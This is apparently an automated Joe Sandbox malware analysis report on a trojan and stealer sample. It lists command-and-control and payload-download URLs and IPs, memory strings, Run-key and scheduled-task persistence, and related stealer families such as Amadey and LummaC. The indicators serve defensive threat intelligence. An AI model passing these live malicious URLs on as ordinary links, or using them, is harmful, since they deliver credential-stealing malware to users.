Source	Detection	Scanner	Label
https://gamertool.eu/receive.php	0%	Avira URL Cloud	safe
https://se-blurry.biz/api	100%	Avira URL Cloud	malware
http://31.41.244.11/files/806475321/0tClIDb.exeRX	100%	Avira URL Cloud	malware
https://gamertool.eu/get_file.php	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpdedt	100%	Avira URL Cloud	malware
https://se-blurry.biz/9	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiu(	100%	Avira URL Cloud	malware
https://gamertool.euD	0%	Avira URL Cloud	safe
https://atten-supporse.biz/J	100%	Avira URL Cloud	malware
http://31.41.244.11/files/806475321/0tClIDb.exeso~	100%	Avira URL Cloud	malware
https://gamertool.eu/GmdDriver.exe	0%	Avira URL Cloud	safe
https://gamertool.eu/LKSM.exe	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php29001	100%	Avira URL Cloud	malware
https://atten-supporse.biz/Y	100%	Avira URL Cloud	malware
http://31.41.244.11/files/806475321/0tClIDb.exe	100%	Avira URL Cloud	malware
https://gamertool.eu/get_updatT	0%	Avira URL Cloud	safe
https://gamertool.eu	0%	Avira URL Cloud	safe
https://gamertool.eu/v	0%	Avira URL Cloud	safe
https://gamertool.eu/s	0%	Avira URL Cloud	safe
https://gamertool.eu/t	0%	Avira URL Cloud	safe
https://gamertool.eu/LKSM.exe9G	0%	Avira URL Cloud	safe
https://gamertool.eu/get_update.php	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php3229001	100%	Avira URL Cloud	malware
https://atten-supporse.biz/g	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apidjd	100%	Avira URL Cloud	malware
https://se-blurry.biz/apin	100%	Avira URL Cloud	malware
https://se-blurry.biz/h	100%	Avira URL Cloud	malware
https://se-blurry.biz/	100%	Avira URL Cloud	malware
https://atten-supporse.biz/api2	100%	Avira URL Cloud	malware
https://gamertool.eu/	0%	Avira URL Cloud	safe
https://atten-supporse.biz/z	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gamertool.eu	104.21.9.168	true	false		unknown
atten-supporse.biz	172.67.165.166	true	false		high
se-blurry.biz	104.21.81.153	true	false		high
impend-differ.biz	unknown	unknown	true	100%, URL Reputation	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
impend-differ.biz	false		high
https://gamertool.eu/receive.php	false	Avira URL Cloud: safe	unknown
https://se-blurry.biz/api	true	Avira URL Cloud: malware	unknown
https://gamertool.eu/get_file.php	false	Avira URL Cloud: safe	unknown
https://gamertool.eu/GmdDriver.exe	false	Avira URL Cloud: safe	unknown
dwell-exclaim.biz	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
zinc-sneark.biz	false		high
formy-spill.biz	false		high
https://gamertool.eu/LKSM.exe	false	Avira URL Cloud: malware	unknown
se-blurry.biz	false		high
covery-mover.biz	false		high
https://atten-supporse.biz/api	false		high
https://gamertool.eu/get_update.php	false	Avira URL Cloud: safe	unknown
print-vexer.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.phpV	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	184f72cd859c47b29124ab7c76766326.exe.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpT	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiu(	0tClIDb.exe, 00000007.00000003.2679422553.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679970453.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gamertool.euD	NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/806475321/0tClIDb.exeRX	skotes.exe, 00000006.00000002.2887135078.00000000014F6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/J	0tClIDb.exe, 00000007.00000003.2515717399.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0tClIDb.exe, 00000007.00000003.2542023162.0000000005891000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpdedt	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://se-blurry.biz/9	184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836770077.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837555765.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/806475321/0tClIDb.exeso~	skotes.exe, 00000006.00000002.2887135078.00000000014F6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0tClIDb.exe, 00000007.00000003.2515793658.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2515650753.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492403856.00000000058EF000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492460365.00000000058E8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/806475321/0tClIDb.exe	skotes.exe, 00000006.00000002.2887135078.00000000014C8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2887135078.000000000151D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php29001	skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/Y	0tClIDb.exe, 00000007.00000002.2679805098.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0tClIDb.exe, 00000007.00000003.2542023162.0000000005891000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0tClIDb.exe, 00000007.00000003.2492460365.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gamertool.eu/get_updatT	NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002841000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gamertool.eu/v	0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gamertool.eu/t	NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002841000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php/	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gamertool.eu/s	0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpUsers	skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0tClIDb.exe, 00000007.00000003.2542023162.0000000005891000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Local	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gamertool.eu	NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002841000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gamertool.eu/LKSM.exe9G	0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api;	0tClIDb.exe, 00000007.00000003.2588731287.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php3229001	skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0tClIDb.exe, 00000007.00000003.2515793658.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2515650753.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492403856.00000000058EF000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492460365.00000000058E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdva	0tClIDb.exe, 00000007.00000002.2686408044.0000000005890000.00000004.00000800.00020000.00000000.sdmp	false		high
https://se-blurry.biz/apin	184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837425187.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/g	0tClIDb.exe, 00000007.00000003.2491353787.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://se-blurry.biz/h	184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836770077.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837555765.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://se-blurry.biz/	184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837425187.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/apidjd	0tClIDb.exe, 00000007.00000003.2679422553.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679970453.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/d	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micro	184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836770077.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/ones	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0tClIDb.exe, 00000007.00000002.2686408044.0000000005890000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	0tClIDb.exe, 00000007.00000003.2492403856.00000000058EF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api2	0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpg	skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0tClIDb.exe, 00000007.00000003.2492460365.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	0tClIDb.exe, 00000007.00000003.2540144728.0000000005891000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gamertool.eu/	0tClIDb.exe, 0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678870606.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 9DNEMG3H6COYF8VY.exe, 00000009.00000000.2678750378.0000000000722000.00000002.00000001.01000000.0000000A.sdmp, InternetDriver.exe.10.dr, NvidiaDriver.exe.9.dr, 9DNEMG3H6COYF8VY.exe.7.dr	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz/z	0tClIDb.exe, 00000007.00000002.2679805098.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.9.168	gamertool.eu	United States	13335	CLOUDFLARENETUS	false
104.21.81.153	se-blurry.biz	United States	13335	CLOUDFLARENETUS	false
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571005
Start date and time:	2024-12-08 18:04:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@18/49@4/5
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0tClIDb.exe, PID 7872 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:06:01	API Interceptor	883x Sleep call for process: skotes.exe modified
12:06:16	API Interceptor	8x Sleep call for process: 0tClIDb.exe modified
12:06:37	API Interceptor	1x Sleep call for process: 9DNEMG3H6COYF8VY.exe modified
12:06:38	API Interceptor	1x Sleep call for process: NvidiaDriver.exe modified
12:06:52	API Interceptor	2x Sleep call for process: 184f72cd859c47b29124ab7c76766326.exe modified
17:04:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:06:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run InternetDriver_64f63a88bdff4eefb01bb065932cd846 "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision
17:06:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run InternetDriver_98c017189ac44e4caa3f411a0cc7df75 "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision
17:06:56	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_3d05c516b5834b8dabc47ef19f64e664.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.81.153	Loader.exe	Get hash	malicious	LummaC Stealer	Browse
104.21.81.153	file.exe	Get hash	malicious	LummaC Stealer	Browse
172.67.165.166	Purchase Order#23113.exe	Get hash	malicious	FormBook	Browse	www.xaqh.info/vr01/?Vr=L4nHMf5x&YN9P-lUP=IPhgDyoL8PETBIlA+LipHiQIJ5tdYs8vDEe7V5bx7imqp8ZSB+vz7lbDvtba/1SpkLzf

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
se-blurry.biz	ft.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	jgurtgjasdth.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.81.153
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	172.67.162.65
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.81.153

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	FToZAUe1tw.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.74.192
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	gorkmTnChA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.184.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	FToZAUe1tw.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.74.192
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	gorkmTnChA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.184.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.9.168
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.9.168
	file.exe	Get hash	malicious	Quasar	Browse	104.21.9.168
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.9.168
	ugjigghFzZ.exe	Get hash	malicious	Quasar	Browse	104.21.9.168
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse	104.21.9.168
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse	104.21.9.168
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	104.21.9.168
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	104.21.9.168
